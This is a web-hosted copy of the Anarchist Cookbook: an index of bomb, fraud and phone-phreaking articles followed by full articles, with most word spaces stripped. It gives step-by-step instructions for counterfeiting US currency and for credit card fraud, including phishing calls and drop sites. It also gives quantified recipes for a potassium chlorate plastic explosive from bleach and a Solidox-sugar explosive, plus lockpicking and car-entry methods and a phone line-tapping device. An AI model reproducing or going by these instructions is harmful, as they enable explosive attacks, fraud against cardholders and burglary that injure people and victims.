THEINDEX

Counterfeiting
CreditCardFraud
MakingPlasticExplosives
PickingMasterLocks
TheArtsofLockpickingI
TheArtsofLockpickingII
SolidoxBombs
HighTechRevenge
CO2Bombs
TermiteBombs
TouchExplosives
LetterBombs
PaintBombs
WaystosendacartoHell
AndEvenMoreWays
Doyouhateschool?
Phonerelatedvandalism
Policeradarjamming
SmokeBombs
MailBoxBombs
Hotwiringcars
Napalm
FertilizerBomb
TennisBallBomb
DisketteBombs
UnlistedPhoneNumbers
Fuses
MakePotassiumNitrate
ExplodingLightbulbs
Underwaterigniters
Homebrewblastcannon
ChemicalEquivalencyList
PhoneTaps
Landmines
AnotherMolotovCocktail
PhoneSystemsTutorialI
PhoneSystemsTutorialII
PhoneSystemsTutorialIII
BasicAllianceTeleconferencing
AquaBoxPlans
HindenburgBomb
KillwithyourBareHands

BlackBoxPlans
TheBlottoBox
Blowgun
BrownBoxPlans
CalciumCarbideBomb
RippingoffChangeMachines
ClearBoxPlans
CNANumberListing
ElectronicTerrorism
Conferencew/o2600hz/MF
Dynamite
AutoExhaustFlameTower
BreakintoBBSExpress
FireBomb
FuseBomb
GenericBomb
GreenBoxPlans
PortableGrenadeLauncher
BasicHackingTutorialI
BasicHackingTutorialII
HackingDec's
HarmlessBombs
BreakingintoHouses
Hypnotism
RemoteInformerIssue#1
JackpottingATMMachines
JugBomb
FunatKMart
MaceSubstitute
HowtoGrowMarijuana
MatchHeadBomb
TerrorizingMcDonalds
"Mentor's"LastWords
The2600hzDetector
BlueBoxPlans
NapalmII
NitroglycerineRecipe
OperationFuckup
FreecallsfromPayphones
PoolFun
FreePostage
UnstableExplosives
WeirdDrugs
TheArtofCarding
RecognizingCreditCards

HowtoGetaNewIdentity
RemoteInformerIssue#2
RemoteInformerIssue#3
RemoteInformerIssue#4
RemoteInformerIssue#5
Freaker'sGuidetoLoopLines
MaBellTutorial
GetMoneyoutofPayPhones
ComputerbasedPBX
PCPursuitPortStatistics
PearlBoxPlans
TheFreakFile
RedBoxPlans
RemObs
ScarletBoxPlans
SilverBoxPlans
BellTrashing
CanadianWatsPhonebook
HackingTRW
HackingVax&Unix
VerificationCircuits
WhiteBoxPlans
TheblastBox
DealingwiththeOperator
CellularPhoneFreaking
CheeseboxPlans
StartYourOwnConferences
GoldBoxPlans
TheHistoryofESS
TheLunchBox
OliveBoxPlans
TheTronBox
"Freaker'sFunhouse"
PM3,27(IntrotoMidnet)
PM3,27(TheMakingofaHacker)
PM3,28(NetworkMiscellany)
PM3,28(PearlBoxSchematic)
PM3,28(SnarfingRemoteFiles)
PM3,30(WesternUnion,Telex,TWX&TimeService)
PM3,30(Hacking&Tymnet)
PM3,30(TheDECWRLMailGateway)
SodiumChlorate
MercuryFulminate
ImprovisedBlackPowder
NitricAcid

DustBombInstructions
CarbonTetExplosive
PicricAcidfromAspirin
RDXfromC4Explosives
EggbasedGelledFlameFuels
ClothespinSwitch
FlexiblePlateSwitch
LowSignatureSystems
CigaretteDelayIgniter
Nicotine
DriedSeedTimer
NailGrenade
BellGlossary
BeatPhoneDialLocks
ExchangeScanning
AShortHistoryofFreaking
"SecretsoftheLittleBlueBox"
TheHistoryofBritishFreaking
"BadasShit"
Telenet
FuckingwiththeOperator
PM1,1(ThePhonePreak'sFryUmGuide)
InternationalCountryCodes
InfinityTransmitterSchematics
LSD
Bananas
YummyMarijuanaRecipes
Peanuts
ChemicalFireBottle
IgniterfromBookMatches
RedorWhitePowder
PipeHandGrenade
EuropeanCreditCardFraud
PotassiumBomb
YourLegalRights
JuvenileOffenders'Rights
DownTheRoadMissle
FunWithShotGunShells
SurveillanceEquipment
DripTimer
Stealing
Miscellaneous
Shavingcreambomb
Rippingoffchangemachines2
Lockpickingtheeasyway

Anarchy'N'ExplosivesPrelude
Anarchy'N'ExplosivesVol.2
Anarchy'N'ExplosivesVol.3
Anarchy'N'ExplosivesVol.4
Anarchy'N'ExplosivesVol.5
FBIraids
ExplosivesandPropellants
Lockpicking3
ChemicalEquivalentList2
Nitroglycerine2
CelluloseNitrate
StarterExplosives
FlashPowder
ExplodingPens
RevisedPipeBombs4.14
*Safety*amustread!
AmmoniumTriIodide
SulfuricAcid/AmmoniumNitrateIII
BlackPowder3
Nitrocellulose
R.D.X.
Anfos
PicricAcid2
BottledExplosives
DryIce
Fuses/Igniters/Delays
FilmCanisterBombs
BookBombs
PhoneBombs
SpecialAmmunition
Rocketry
PipeCannon2
SmokeBombs
Firecrackers
SuppliersII
LabRaidChecklist
Misc.Anarchy
LockPicking4
Misc.AnarchyII
*Termite4*
Conclusion

Disclaimer

Firstandforemost,letitbestatedthatweassumenoresponsibilitiesforanymisuse
of the information presented in this publication. The techniques herein can be
obtainedfrompubliclibrariesandcanusuallybecarriedoutbyanyonewithminimal
equipment. This makes one all the more frightened, since any lunatic or social
deviantcouldobtainthisinformation,anduseitagainstanyone.Theprocessesand
techniqueshereinshouldnotbecarriedoutunderanycircumstances!!!seriousharm
or death could occur from attempting to perform any of the methods in this
publication. This is merely for reading enjoyment and is not intended for actual
use!!!madeitavailableforyouontheweb.Theoriginaltextfilecanbefoundon
anonymousftpatmanyplacesontheWeb.Weonlyhtmlizedit.Furtherwewantto
makeclearthatwehavenoconnectionatallwiththewriter(s)oftheCookBook.
Introduction
WelcometooneofthemostwidelycirculatedcollectionsofAnarchistmaterial
everassembled!IthasbeenalongtimesincethelastCookBookwasreleased.This
version,unliketheothers,wasnotpublishedandcompiledbytheJollyRoger,butby
me,astrongfollowerofhisprinciples.Intheyearspast,theAnarchistCookBook
ortheAnarchist'sCookBookasitisknowninsomeplaces,wascompiledbythe
JollyRogerandreleasedintothepublicthroughunknowndistributionsites.Well,the
timeofwaitingforanotherreleasehascomeandpassed.Myreleaseisnottoinany
wayimposeordissolutetheformerversions,norisittotakecreditfortheirsuccess.
Itismerelytoupdatetheinformationinthe3rdCookBooksothatitiskeptinstep
withthetimes.TheCookBook,anyversion,hastravelledvirtuallyaroundtheworld
andbackandhasbeenaddedtoaswasnecessary.Ifeelitisnecessaryagain.Itissad
formetosaythatwe,thehackers,freakers.
CounterfeitingMoney
byJ.Roger
Beforereadingthisarticle,itwouldbeaverygoodideatogetabookonphoto
offsetprinting,forthisisthemethodusedincounterfeitingUScurrency.Ifyouare
familiarwiththismethodofprinting,counterfeitingshouldbeasimpletaskforyou.
Genuinecurrencyismadebyaprocesscalled"gravure",whichinvolvesetchinga
metalblock.Sinceetchingametalblockisimpossibletodobyhand,photooffset
printingcomesintotheprocess.Photooffsetprintingstartsbymakingnegativesof
thecurrencywithacameraandputtingthenegativesonapieceofmaskingmaterial
(usuallyorangeincolour).Thestrippednegatives,commonlycalled"flats",arethen
exposedtoalithographicplatewithanarclightplatemaker.Theburnedplatesare
thendevelopedwiththeproperdevelopingchemical.Oneatatime,theseplatesare
wrappedaroundtheplatecylinderofthepress.Thepresstouseshouldbean11by
14offset,suchastheABDick360.Make2negativesoftheportraitsideofthebill
and1ofthebackside.Afterdevelopingthemandlettingthemdry,takethemtoa

lighttable.Usingopaqueononeoftheportraitsides,touchoutallthegreen,which
isthesealandtheserialnumbers.Thebacksidedoesnotrequireanyretouching,
becauseitisallonecolour.Now,makesureallofthenegativesareregistered(lined
upcorrectly)ontheflats.Bytheway,everytimeyouneedanotherserialnumber,
shoot1negativeoftheportraitside,cutouttheserialnumberandremovetheold
serialnumberfromtheflatreplacingitwiththenewone.Nowyouhaveall3flats,
andeachrepresentsadifferentcolour:blackand2shadesofgreen(thetwoshadesof
greenarecreatedbymixinginks).Nowyouarereadytoburntheplates.Takea
lithographicplateandetchthreemarksonit.Thesemarksmustbe2and9/16inches
apart,startingononeoftheshortedges.Dothesamethingto2moreplates.Then,
take1oftheflatsandplaceitontheplate,exactlyliningtheshortedgeupwiththe
edgeoftheplate.Burnit,moveituptothenextmarkandcoveruptheexposedarea
youhavealreadyburned.Burnthatanddothesamething2moretimes,movingthe
flatuponemoremark.Dothesameprocesswiththeother2flats(eachonaseparate
plate).Developallthreeplates.Youshouldnowhave4imagesoneachplatewithan
equalspacebetweeneachbill.Thepaperyouwillneedwillnotmatchexactly,butit
willdoformostsituations.Thepapertouseshouldhavea25%ragcontent.Bythe
way,Disaperfcomputerpaper(invisibleperforation)doesthejobwell.Takethe
paperandloaditintothepress.Besuretosettheair,buckleandpaperthickness
right.Startwiththeblackplate(theplatewithouttheserialnumbers).Wrapitaround
thecylinderandloadblackinkin.Makesureyourunmorethanyouneedbecause
therewillbealotofrejects.Then,whilethatisprinting,mixtheinksfortheserial
numbersandthebackside.Youwillneedtoaddsomewhiteandmaybeyellowto
theserialnumberink.Youalsoneedtoaddblacktothebackside.Experimentuntil
yougetitright.Now,cleanthepressandprinttheotherside.Youwillnowhavea
billwithnogreensealorserialnumbers.Printafewwithoneserialnumber,make
anotherandrepeat.Keepdoingthisuntilyouhaveasmanydifferentnumbersasyou
want.Thencutthebillstotheexactsizewithapapercutter.Youshouldhaveprinted
alargeamountofmoneybynow,butthereisstilloneproblem;thepaperispure
white.Todyeit,mixthefollowinginapan:2cupsofhotwater,4teabagsandabout
16to20dropsofgreenfoodcolouring(experimentwiththis).Diponeofthebillsin
andcompareittoagenuineUSbill.Makethenecessaryadjustmentsanddyeallthe
bills.Also,itisagoodideatomakethemlookused.Forexample,wrinklethem,rub
coffeegrindsonthemetc.Asbeforementioned,unlessyouarefamiliarwithphoto
offset printing, most of the information in this article will be fairly hard to
understand.Alongwithgettingabookonphotooffsetprinting,trytoseethemovie
"ToLiveandDieinLA".Itisaboutacounterfeiterandtheproducerdoesapretty
goodjobofshowinghowtocounterfeit.Agoodbookonthesubjectis"ThePoor
Man'sJamesBond".Ifallofthisseemstoocomplicatedtoyou,thereisoneother
methodavailableforcounterfeiting:TheCanoncolourlasercopier.TheCanoncan
replicateanythinginvibrant colour,includingUScurrency.But,onceagain,the
mainproblemincounterfeitingisthepaperused.So,experimentandgoodluck!
CreditCardFraud

 Formostofyououtthere,moneyishardtocomeby.Untilnowwiththerecent
adventofplasticmoney(creditcards),itiseasytousesomeoneelse'screditcardto
ordertheitemsyouhavealwaysdesiredinlife.Thestakesarehigh,butthepayoffis
worthit.
StepOneGettingthecreditcardinformation
Firstoff,youmustobtainthecrucialitem:someone'screditcardnumber.The
bestwaytogetcreditcardnumbersistotakethebluecarbonsusedinacreditcard
transactionatyourlocaldepartmentstore.Thesecanusuallybefoundinthegarbage
cannexttotheregisterorforthemoredaring,inthegarbagedumpsterbehindthe
store.But,duetothelargeamountofcreditcardfraud,manystoreshaveoptedto
useacarbonlesstransactionsheet,makingthingsmuchmoredifficult.Thisiswhere
yourphonecomesinhandy.First,lookupsomeoneinthephonebookandobtainas
muchinformationaspossibleaboutthem.Then,duringbusinesshours,callinavery
convincing voice "Hello, this is John Doe from the Visa Credit Card Fraud
InvestigationsDepartment.Wehavebeeninformedthatyourcreditcardmayhave
beenusedforfraudulentpurposes,sowillyoupleasereadoffthenumbersappearing
onyourVisacardforverification".Ofcourse,useyourimagination!Believeitor
not,manypeoplewillfallforthisployandgiveouttheircreditinformation.Now,
assumingthatyouhaveyour victim'screditcardnumber,youshouldbeableto
deciphertheinformationgiven.
StepTwoRecognizinginformationfromcarboncopies
Cardexamples:[AmericanExpress]
XXXXXXXXXXXXXXX
MM/Y1THRUMM/Y2
JoeShmoe
Explanation:MM/Y1isthedatethecardwasissuedandMM/Y2istheexpiration
date. The American Express Gold Card has numbers XXXXXX XXXXXXXX
XXXXXXXXandiscoveredforupto$5000,evenifthecardholderisbroke.
[Mastercard]
5XXXXXXXXXXXXXXX
XXXXAAADDMMYYMM/YY
JoeShmoe
Explanation:XXXXinthesecondrowmaybeaskedforduringtheordering
process.Thefirstdateiswhenthecardwasnew,andthesecondiswhenthecard
expires.Themostfrequentnumbercombinationusedis54241800XXXXXXXX.
Therearemanyofthesecardsincirculation,butmanyoftheseareonwantedlists,
socheckthesefirst.
[Visa]
4XXXXXX(X)XXX(X)XXX(X)
MM/YYMM/YY*VISA
JoeShmoe

 Explanation:Visaisthemostabundantcard,andisacceptedalmosteverywhere.
The"*VISA"issometimesreplacedwith"BWG"orfollowedwithaspecialcode.
Thesecodesareasfollows:
[1]MM/YY*VISAVPreferredCard
[2]MM/YY*VISACVClassicCard
[3]MM/YY*VISAPVPremierCard
PreferredCardsarebackedwithmoneyandaremuchsafertouse.ClassicCards
arenewer,hardertoreproducecardswithdecentbacking.PremierCardsareClassic
CardswithPreferredcoverage.Commonnumbersare4448020XXXXXX,4254
51236000XXXXand425451238500XXXX.Any47121250XXXXXXXX
cardsareIBMCreditUnioncardsandareriskytouse,althoughtheyareusually
coveredforlargepurchases.
StepThreeTestingcredit
YoushouldnowhaveaVisa,MastercardorAmericanExpresscreditcardnumber,
withthevictim's address, zipcodeandphonenumber.By the way,if youhave
problems getting the address, most phone companies offer the Address Tracking
Service,whichisaspecialnumberyoucallthatwillgiveyouanaddressfroma
phonenumber,atanominalcharge.Nowyouneedtocheckthebalanceofcrediton
thecreditcard(tomakesureyoudon'trunoutofmoney)andyoumustalsomake
sure that the card isn't stolen. To do this you must obtain a phone number that
businessesusetocheckoutcreditcardsduringpurchases.Ifyougotoadepartment
store,watchthecashierwhensomeonemakesacreditcardpurchase.He/shewill
usuallycallaphonenumber,givethecreditinformationandthengivewhatiscalled
a"MerchantNumber".Thesenumbersareusuallywrittendownonoraroundthe
register.Itiseasytoeitherfindthesenumbersandcopythemortowaituntilthey
callonein.Watchwhattheydialandwaitforthe8digit(usually)merchantnumber.
Onceyoucallthenumber,inacalmvoice,readofftheaccountnumber,merchant
number,amountandexpirationdate.ThecreditbureauwilltellyouifitisO.K.and
willgiveyouanauthorizationnumber.Pretendyouarewritingthisnumberdown
andrepeatitbacktothemtocheckit.Ignorethisnumbercompletely,foritservesno
realpurpose.However,onceyoudothis,thebankremovesdollarsequaltowhatyou
toldthem,becausethecardwassupposedlyusedtomakeapurchase.Sometimesyou
cantricktheoperatorbytellingherthecustomerchangedhismindanddecidednot
tochargeit.Ofcourse,somewillnotallowthis.Rememberatalltimesthatyouare
supposedtobeastoreclerkcallingtocheckout thecardforapurchase.Actlikeyou
aretalkingwithacustomerwhenhe/she"cancels".
StepFourThedrop
Oncethecardsarecleared,youmustfindaplacetohavethepackagesent.Never
useadropmorethanonce.Thefollowingaretypicaldropsites:
1)AnemptyhouseAnemptyhousemakesanexcellentplacetosendthings.Send

thepackageUPSandleaveanoteonthedoorsaying,"UPS.Iworkdays,8to6.
Couldyoupleaseleavethepackageonthebackdoorstep?"Youcanfinddozensof
housesfromarealestateagentbytellingthemyouwanttolookaroundforahouse.
Askforalistoftwentyhousesforsaleandtellthemyouwillcheckoutthearea.Do
so,untilyoufindonethatsuitsyourneeds.
2)RentaspotUHaulsometimesrentsspaceswhereyoucanhavepackagessent
andsignedfor.Endyourspacewhenthepackagearrives.
3)People'shousesFindsomeoneyoudonotknow,andhavethepackagesentthere.
Callaheadsayingthat"Icalledthestoreandtheysentthepackagetothewrong
address.Itwasalreadysent,butcanyoukeepitthereforme?"Thisisaveryreliable
wayifyoukeepcalmwhentalkingtothepeople.Donottrypostofficeboxes.Most
ofthetime,UPSwillnotdelivertoapostofficeboxandmanypeoplehavebeen
caught in the past attempting to use a post office box. Also, when you have
determinedadropsite,keepaneyeonitforsuspiciouscharactersandcarsthathave
notbeentherebefore.
StepFiveMakingthetransaction
Youshouldnowhaveareliablecreditcardnumberwithallthenecessarybilling
information,andagooddropsite.Thebestplacetoorderfromiscatalogues,and
mailorderhouses.Itisinyourbestinteresttoplacethephonecallfromapayphone,
especiallyifitisa1800number.Now,whenyoucall,don'ttrytodisguiseyour
voice,thinkingyouwilltrickthesalespersonintobelievingyouareanadult.These
folksaretrainedtodetectthis,soyourbestbetistoorderinyourownvoice.They
willaskforthefollowing:name,nameasitappearsoncard,phonenumber,billing
address,expirationdate,methodofshippingandproduct.AskiftheyofferUPSRed
shipping(nextdayarrival),becauseitgivesthemlesstimetoresearchanorder.If
youareusingAmericanExpress,youmighthaveabitofaproblemshippingtoan
addressotherthanthebillingaddress.Also,ifthesalespersonstartstoaskquestions,
donothangup.Simplytalkyourwayoutofthesituation,soyouwon'tencourage
investigationontheorder.Ifeverythinggoesright,youshouldhavetheproduct,free
ofcharge.Insurancepicksupthetabandnooneisanywiser.Becarefulandtrynot
toorderanythingover$500.Insomestates,UPSrequiresasignatureforanything
over$200,nottomentionthatanythingover$200isdefinedasgrandtheft,aswell
ascreditfraud.Getcaughtdoingthisandyouwillbiteitforacoupleofyears.First
compiledinJRII.

MakingPlasticExplosivesfromBleach
byJollyRoger

Potassiumchlorateisanextremelyvolatileexplosivecompoundandhasbeenused
inthepastasthemainexplosivefilleringrenades,landmines,andmortarroundsby
suchcountriesasFranceandGermany.Commonhouseholdbleachcontainsasmall
amountofpotassiumchlorate,whichcanbeextractedbytheprocedurethatfollows.
Firstoffyoumustobtain:aheatsource(hotplate,stove etc.);ahydrometeror
batteryhydrometer;alargePyrexornamedsteelcontainer(toweighchemicals)and
potassiumchloride(soldasasaltsubstituteathealthandnutritionstores).Takeone
gallonofbleach,placeitinthecontainerandbeginheatingit.Whilethissolution
heats,weighout63gramsofpotassiumchlorideandaddthistothebleachbeing
heated.Constantlycheckthesolutionbeingheatedwiththehydrometerandboiluntil
yougetareadingof1,3.Ifusingabatteryhydrometer,boiluntilyoureada full
charge.Takethesolutionandallowittocoolinarefrigeratoruntilitisbetween
roomtemperatureand0degreesCelsius.Filteroutthecrystalsthathaveformedand
savethem.Boilthissolutionagainandcoolasbefore.Filterandsavethecrystals.
Takethecrystalsthathavebeensavedandmixthemwithdistilledwaterinthe
followingproportions:56gramsper100mldistilledwater.Heatthissolutionuntilit
boils and allowto cool.Filter the solution andsave the crystals that formupon
cooling. This process of purification is called "fractional crystalization". These
crystalsshouldberelativelypurepotassiumchlorate.Powderthesetotheconsistency
of face powder, and heat gently to drive off all moisture. Now, melt five parts
Vaselinewithfivepartswax.Dissolvethisinwhitegasoline(campstovegasoline)
and pour this liquid on 90 parts potassium chlorate (the powdered crystals from
above) into a plastic bowl. Knead this liquid into the potassium chlorate until
intimatelymixed.Allowallgasolinetoevaporate.Finally,placethisexplosiveintoa
cool,dryplace.Avoidfriction,sulphur,sulphidesandphosphorouscompounds.This
explosiveisbestmouldedtothedesiredshapeanddensityof1,3gramsinacube
anddippedinwaxuntilwaterproof.Theseblocktypechargesguaranteethehighest
detonationvelocity.Also,ablastingcapofatleasta3grademustbeused.The
presence of the afore mentioned compounds (sulphur, sulphides etc.) results in
mixtures that are or can become highly sensitive and will possibly decompose
explosivelywhileinstorage.Youshouldneverstorehomemadeexplosivesandyou
mustuseextremecautionatalltimeswhileperformingtheprocessesinthisarticle.
Youmayobtainacatalogueofothersubjectofthisnaturebywriting:
InformationPublishingCo.
Box10042
Odessa,Texas79762

PickingMasterLocks
byJollyRoger

 Have you ever tried to impress someone by picking one of those Master
combination locks and failed ? The Master lock company made their older
combinationlockswithaprotectionscheme.Ifyoupullthehandletoohard,theknob
willnotturn.Thatwastheirbiggestmistake.
Thefirstnumber
GetoutanyoftheMasterlockssoyouknowwhatisgoingon.Whilepullingon
theclasp(partthatspringsopenwhenyougetthecombinationright),turntheknob
totheleftuntilitwillnotmoveanymoreandaddfivetothenumberyoureach.You
nowhavethefirstnumberofthecombination.
Thesecondnumber
Spinthedialaroundacoupleoftimes,thengotothefirstnumberyougot.Turnthe
dialtotheright,bypassingthefirstnumberonce.Whenyouhavebypassedthefirst
number,startpullingontheclaspandturningtheknob.Theknobwilleventuallyfall
intothegrooveandlock.Whileinthegroove,pulltheclaspandturntheknob.Ifthe
knobisloose,gotothenextgroove,iftheknobisstiff,youhavethesecondnumber
ofthecombination.
Thethirdnumber
Aftergettingthesecondnumber,spinthedial,thenenterthetwonumbers.Slowly
spin the dial to the right and at each number, pull on the clasp. The lock will
eventuallyopenifyoudidtheprocessright.ThismethodofopeningMasterlocks
onlyworksonoldermodels.SomeoneinformedMasteroftheirmistakeandthey
employedanewmechanismthatisfoolproof(fornow).Theoldermodelsarefrom
19881990.Thenewermodelsarebeingcrackedonaswespeak.
TheArtsofLockpickingI
courtesyofJollyRoger
LockpickingI
Cars and assorted other locks. While the basic themes of lock picking and
uninvitedentryhavenotchangedmuchinthelastfewyears,somemoderndevices
andtechniqueshaveappearedonthescene.
Automobiles
ManyolderautomobilescanstillbeopenedwithaSlimJimtypeofopener(these
andotherautolocksmithingtechniquesarecoveredfullyinthebook"Inthe Stillof
theNight",byJohnRussellIII);however,manycarmanufacturershavebuiltcases
overthelockmechanismorhavemovedthelockmechanismsotheSlimJimwillnot

work.So:
AmericanLocksmithService
P.O.Box26
CulverCity,CA90230
ALSoffersanewandimprovedSlimJimthatis30incheslongand3/4inches
wide,soitwillbothreachandslipthroughthenewcarlockcovers(insidethedoor).
Priceis$5,75plus$2postageandhandling.CarsmanufacturedbyGeneralMotors
havealwaysbeenabanetopeoplewhoneededtoopenthem,becausethesidebar
lockingunittheyemployisverydifficulttopick.Tofurthercomplicatematters,the
newGMcarsemploymetalshieldstomaketheuseofaSlimJimtypeinstrument
verydifficult.So:
LockTechnologyCorporation

685MainSt.
NewRochelle,NY10801
LTCoffersacutelittletoolwhichwilleasilyremovethelockcylinderwithout
harmtothevehicleandwillallowyoutoenterand/orstartthevehicle.TheGMC40
sellsfor$56plus$2forpostageandhandling.Thebestgeneralautomobileopening
kitisprobablyasetoflockouttoolsofferedby:
SteckMFGCorporation
1319W.StewartSt.
Dayton,OH45408
For$29,95onecanpurchaseacompletesetofsixcarbonlockouttoolsthatwill
openmorethan95%ofallthecarsaround.Quicksetlockshavebecomequite
popularasonestepsecuritylocksformanytypesofbuildings.Theyareabitharder
topickandofferahigherdegreeofsecuritythananormalbuilderinstalleddoor
lock.So:
AMFG

1151WallaceSt.
Massilon,OH44646
Priceis$11,95.Quicksetlockscanhandilybedisassembledandthedooropened
withoutharmtoeitherthelockorthedoorbyusingtheabovementionedQuickOut
Tool.Ifyouaretoolazytopickautolocks:
VeehofSupply
Box361
StormLake,IO50588

 VSsellstryoutkeysformostcars(tryoutkeysareusedsincethereisnoone
masterkeyforanyonemakeofcar,buttherearegrouptypemasters(a.k.a.tryout
keys).Pricesaverageabout$20aset.UpdatedLockpicking:Foryears,therehave
beenanumberofpickattackproceduresformostpinandtumblerlocksystems.In
reverseorderofeasetheyareasfollows:NormalPicking:Usingapicksettoalign
thepins,onebyone,untiltheshearlineissetandthelockopens. Racking:This
methodusespicksthatareconstructedwithaseriesofbumpsordiamondshape
notches.Thesepicksare"raked"(i.e.runoverallthepinsatonetime).Withluck,
thepinswillraiseintheopenpositionandstaythere.Raking,ifsuccessful,canbe
muchlessofaneffortthanstandardpicking.LockAidGun:Thisgunshapeddevice
wasinventedanumberofyearsagoandhasfoundapplicationwithmanylocksmiths
andsecuritypersonnel.Basically,aneedleshapedpickisinsertedinthesnoutofthe
"gun"andthe"trigger"ispulled.Thisactionsnapsthepickupanddownstrongly.If
thetipisslippedunderthepins,theywillalsobesnappedupanddownstrongly.
Withabitoflucktheywillstrikeeachotherandseparateattheshearlineforasplit
second. When this happens the lock will open. The lock aid gun is not 100 %
successful,butwhenitdoeswork,theresultsareverydramatic.Youcansometimes
open the lock with one snap of the trigger. Vibrator: Some crafty people have
mountedaneedlepickintoanelectrictoothbrushpowerunit.Thisvibratingeffect
willsometimesopenpintumblerlocksinstantly.Thereisnowanothermethodto
openpinandwaferlocksinaveryshorttime.Althoughitresemblesatoothbrush
pickinappearance,itisactuallyanelectronicdevice.IamspeakingoftheCobra
pickthatisdesignedandsoldby:
FedCorporation
P.O.Box569
Scottsdale,AR85252
TheCobrausestwoninevoltbatteries,teflonbearings(forlessnoise)andacam
roller.Itcomeswiththreepicks(fordifferenttypesoflocks)andworksbothin
Americaandoverseas,onpinorwaferlocks.TheCobrawillopengrouponelocks
(commondoorlocks)inthreetosevensecondswithnodamage,inthehandsofan
experiencedlocksmith.Itcantakeafewsecondsmoreoruptoahalfaminutefor
someonewithnoexperienceatall.Itwillalsoopengrouptwolocks (including
government,highsecurityandmedecos),althoughthiscantakeashorttimelonger.
ItwillnotopenGMsidearlocks,althoughadeviceisabouttobeintroducedtofill
thatgap.Howmuchforthistoythatwillopenmostlocksinsevenseconds?$235
plus$4shippingandhandling.Foryouhardcoresafecrackers,FCalsosellstheMI
6thatwillopenmostsafesatacostof$10000forthethreewheelattackmodeland
$10500forthefourwheelmodel.Itcomesinasturdyaluminiumcarryingcasewith
monitor,diskdriveandsoftware.Ifnoneofthesesafeandsaneideasappealtoyou,
youcanalwaysfallbackonthemagicthermallance.The thermallanceisarather
crude instrument constructed from 3/ 8 inch hollow magnesium rods. Each tube
comesina10footlength,butcanbecutdownifdesired.Eachoneisthreadedon
oneend.Tousethelance,youscrewthetubetogetherwithamattedregulator(likea

weldingoutfituses)andhookupanoxygentank.Thenoxygenisturnedonandthe
rodislitwithastandardweldingigniter.Thedeviceproducesanincredibleamount
ofheat.Itisusedforcuttingupconcreteblocksorevenrocks.Anactivelancewill
gothroughafootofsteelinafewseconds.Thelanceisalsoknownasaburningbar
andisavailablefrom:
C.O.L.MFG
7748W.Addison
Chicago,IL60634
HackersOfTheWorldsUnite!...TACIV
TheArtsofLockpickingII
courtesyofJollyRoger
Soyouwanttobeacriminal.Well,ifyouwanttobelikeJamesBondandopena
lockinfifteenseconds,thengotoHollywood,becausethatistheonlyplaceyouare
evergoingtodoit.Evenexperiencedlocksmithscanspendfivetotenminutesona
lockiftheyareunlucky.Ifyouarewantingextremelyquickaccess,lookelsewhere.
Thefollowinginstructionswillpertainmostlytothe"lockinknob"typelock,sinceit
istheeasiesttopick.Firstofall,youneedapickset.Ifyouknowalocksmith,get
himtomakeyouaset.Thiswillbethebestpossiblesetforyoutouse.Ifyoufinda
locksmithunwillingtosupplyaset,don'tgiveuphope.Itispossibletomakeyour
own,ifyouhaveaccesstoagrinder(youcanuseafile,butittakesforever).The
thingyouneedisanallenwrenchset(verysmall).Theseshouldbesmallenoughto
fitintothekeyholeslot.Now,bendthelongendoftheallenwrenchataslightangle
(not90degrees).Now,takeyourpicktoagrinderorafile,andsmooththeenduntil
itisroundedsoitwon'thanginsidethelock.Testyourtooloutondoorknobsatyour
housetoseeifitwillslideinandoutsmoothly.Now,thisiswherethescrewdriver
comesin.Itmustbesmallenoughforitandyourpicktobeusedinthesamelockat
thesametime,oneabovetheother.Inthecominginstructions,pleaserefertothis
chartoftheinteriorofalock:

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Theobjectistopressthepinupsothatthespacebetweentheupperpinandthe
lowerpinislevelwiththecylinderwall.Now,ifyoupushapinup,it'stendencyisto
fallbackdown,right?Thatiswherethescrewdrivercomesin.Insertthescrewdriver
intotheslotandturn.Thistensionwillkeepthe"solved"pinsfromfallingback
down.Now,workfromthebackofthelocktothefrontandwhenyouarethrough,
therewillbeaclick,thescrewdriverwillturnfreelyandthedoorwillopen.Donot
getdiscouragedonyourfirsttry!Itwillprobablytakeyouabouttwentytothirty
minutesyourfirsttime.Afterthat,youwillquicklyimprovewithpractice.Addto
TACIV,'94.
SolidoxBombs
byJollyRoger
Mostpeoplearenotawarethatavolatile,extremelyexplosivechemicalcanbe
boughtoverthecounter:Solidox.Solidoxcomesinanaluminiumcancontaining6
greysticksandcanbeboughtatKMart,andvarioushardwaresupplyshopsfor
around$7.Solidoxisusedinweldingapplicationsasanoxidizingagentforthehot
flame needed to melt metal. The most active ingredient in Solidox is potassium
chlorate,afillerusedinmanymilitaryapplicationsintheWWIIera.SinceSolidoxis
literallywhatthenamesays:solidOxygen,youmusthaveanenergysourceforan
explosion. The most common and readily available energy source is common
householdsugarorsucrose.Intheory,glucosewouldbethepurestenergysource,but
itishardtofindasolidsupplyofglucose. Makingthemixture:Openthecanof
Solidoxandremoveall6sticks.Onebyone,grindupeachofthesticks(preferably
withamortarandpestle)intothefinestpowderpossible.Theratioformixingthe
sugar with the Solidox is 1: b1, so weigh the Solidox powder and grind up the
equivalentamountofsugar.MixequivalentamountsofSolidoxpowderandsugarin
a1:1ratio.Itisjustthatsimple!Younowhaveanextremelypowerfulsubstance
thatcanbeusedinavarietyofapplications.Awordofcaution:beextremelycareful
intheentireprocess.Avoidfriction,heat,andflame.Afewyearsback,ateenagerI
knewblew4fingersoffwhiletryingtomakeapipebombwithSolidox.Youhave
beenwarned!SolidOxcannolongerbeboughtinKMart.Aplumbingandheating
supplystoreorevenSearsmayhavesmallquantitiesforsale,atabout$18for10
stix.

HighTechRevengeTheBeigeboxrev.4.14
byExodus
Introduction

Haveyoueverwantedalineman'shandset?Surelyeveryfreakhasatleastonce
consideredthefunthat hecouldhavewithone.After searchingunlockedphone
companytrucksformonths,wehadanidea.Wecouldbuildone.Wedidandnamed
itthe"BeigeBox"simplybecausethatisthecolourofours.Thebeigeboxissimply
aconsumerlineman'shandset,whichisaphonethatcanbeattachedtotheoutside
ofaperson'shouse.Tofabricateabeigeboxfollowalong.
ConstructionandUse
Theconstructionisverysimple.Firstyoumustunderstandtheconceptofthe
device.Inamodularjack,therearefourwires.Thesearered,green,yellowand
black.Forasinglelinetelephone,however,onlytwomatter:thered(ring)andgreen
(tip). The yellow and the black are not necessary for this project. A line man's
handsethastwoclipsonit:theringandthetip.Takeamodularjackandlookatthe
bottomofit'scasing.Thereshouldbeagreyjackwithfourwires(red,green,yellow
&black)leadingoutofit.Totheendoftheredwireattacharedalligatorclip.To
theendofthegreenwireattachagreenalligatorclip.Theyellowandblackwires
can be removed, although I would only set them aside so that you can use the
modularjackinfutureprojects.Nowinsertyourtelephone'smodularplugintothe
modularjack.That'sit.Thisparticularmodelisnicebecauseitiscanbeeasilymade,
